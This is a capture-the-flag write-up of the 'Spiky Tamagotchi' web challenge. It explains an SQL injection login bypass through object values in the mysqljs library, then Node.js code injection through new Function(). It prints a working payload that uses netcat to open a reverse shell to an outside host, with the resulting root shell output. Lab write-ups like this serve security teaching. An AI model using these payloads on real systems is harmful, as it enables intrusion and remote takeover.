Captain Spiky comes from a rare species of creatures who can only breathe underwater. During the energy-crisis war, he was captured as a war prisoner and later forced to be a Tamagotchi pet for a child of a general of nomadic tribes. He is forced to react in specific ways and controlled remotely purely for the amusement of the general's children. The Paraman crew needs to save the captain of his misery as he is potentially a great asset for the war against Draeger. Can you hack into the Tamagotchi controller to rescue the captain?
- node.js
- express.js
- mysql
- alpine docker
when you pass object into node mysql module's prepared statement (without type checking for string), it can cause SQLi
original vuln: https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4
/api/login takes username/password from user input.
File: /routes/index.js
router.post('/api/login', async (req, res) => {
const { username, password } = req.body;
if (username && password) {
return db.loginUser(username, password)
[...]
module.exports = database => {
db = database;
return router;
};
they are passed to loginUser() and reached the prepared statement here.
File: /database.js
async loginUser(user, pass) {
return new Promise(async (resolve, reject) => {
let stmt = 'SELECT username FROM users WHERE username = ? AND password = ?';
this.connection.query(stmt, [user, pass], (err, result) => {
POST /api/login HTTP/1.1
Host: longcat.local:1337
[...]
{"username":"admin","password": {"password": 1}}
root cause: https://github.com/mysqljs/mysql/blob/master/Readme.md#escaping-query-values
- Objects are turned into `key = 'val'` pairs for each enumerable property on the object. If the property's value is a function, it is skipped; if the property's value is an object, toString() is called on it and the returned value is used.
the prepared statement:
SELECT username FROM users WHERE username = ? AND password = ?
become:
SELECT username FROM users WHERE username = 'admin' AND password = `password` = 1
so, the evaluation is like:
`password` =is=> password column
password = `password` =evaluated as=> true (1)
password = [user input]
password = `password` = 1
1 = 1
1 = 1 =evaluated as=> true
Like this:
MariaDB [spiky_tamagotchi]> select password=password from users;
+-------------------+
| password=password |
+-------------------+
| 1 |
+-------------------+
1 row in set (0.001 sec)
MariaDB [spiky_tamagotchi]> select password=password=1 from users;
+---------------------+
| password=password=1 |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.001 sec)
MariaDB [spiky_tamagotchi]> select * from users where username ='admin' and password = `password` = 1;
+----+----------+------------------+
| id | username | password |
+----+----------+------------------+
| 1 | admin | tyR8Y9YaKRd5oNQc |
+----+----------+------------------+
1 row in set (0.004 sec)
it returns:
HTTP/1.1 200 OK
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTcxMDEyfQ.JAVOdFqMM7fDjaINAY8R4-dFSTsDGO_pvRMyGeUlTG4; Max-Age=3600; Path=/; Expires=Thu, 19 May 2022 15:36:52 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 46
Date: Thu, 19 May 2022 14:36:52 GMT
Connection: close
{"message":"User authenticated successfully!"}
Chrome's console
document.cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c; Max-Age=3600; Path=/; Expires=Thu, 19 May 2023 15:36:52 GMT"
File: /routes/index.js
router.get('/interface', AuthMiddleware, async (req, res) => {
return res.render('interface.html');
});
http://longcat.local:1337/interface
user-supplied input "activity" passes to calculate() function
File: /routes/index.js
router.post('/api/activity', AuthMiddleware, async (req, res) => {
const { activity, health, weight, happiness } = req.body;
if (activity && health && weight && happiness) {
return SpikyFactor.calculate(activity, parseInt(health), parseInt(weight), parseInt(happiness))
Next, the string 'res' includes the 'activity' value. Lastly, 'res' is passed into new Function(res) and it results in node.js code injection.
File: /helpers/SpikyFactor.js
const calculate = (activity, health, weight, happiness) => {
return new Promise(async (resolve, reject) => {
try {
// devine formula :100:
let res = `with(a='${activity}', hp=${health}, w=${weight}, hs=${happiness}) {
if (a == 'feed') { hp += 1; w += 5; hs += 3; } if (a == 'play') { w -= 5; hp += 2; hs += 3; } if (a == 'sleep') { hp += 2; w += 3; hs += 3; } if ((a == 'feed' || a == 'sleep' ) && w > 70) { hp -= 10; hs -= 10; } else if ((a == 'feed' || a == 'sleep' ) && w < 40) { hp += 10; hs += 5; } else if (a == 'play' && w < 40) { hp -= 10; hs -= 10; } else if ( hs > 70 && (hp < 40 || w < 30)) { hs -= 10; } if ( hs > 70 ) { m = 'kissy' } else if ( hs < 40 ) { m = 'cry' } else { m = 'awkward'; } if ( hs > 100) { hs = 100; } if ( hs < 5) { hs = 5; } if ( hp < 5) { hp = 5; } if ( hp > 100) { hp = 100; } if (w < 10) { w = 10 } return {m, hp, w, hs}
}`;
quickMaths = new Function(res);
POST /api/activity HTTP/1.1
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjUyOTc3Mzk4fQ.UwNx5sZlYOKO2TxS_l2lqO2WN_iYEzzc8cBOI06Ud8c
[...]
{"activity":"sleep'+(global.process.mainModule.require('child_process').execSync('nc 1.3.3.7 1234 -e sh'))+'","health":"63","weight":"42","happiness":"56"}
$ ncat -lvp 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 178.62.119.24.
Ncat: Connection from 178.62.119.24:36141.
id
uid=0(root) gid=0(root) groups=1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
pwd
/app
cat /flag.txt
HTB{3sc4p3d_bec0z_n0_typ3_ch3ck5}
I did not solve this during the ctf time. after-event hint by Rainb0wCodes_484.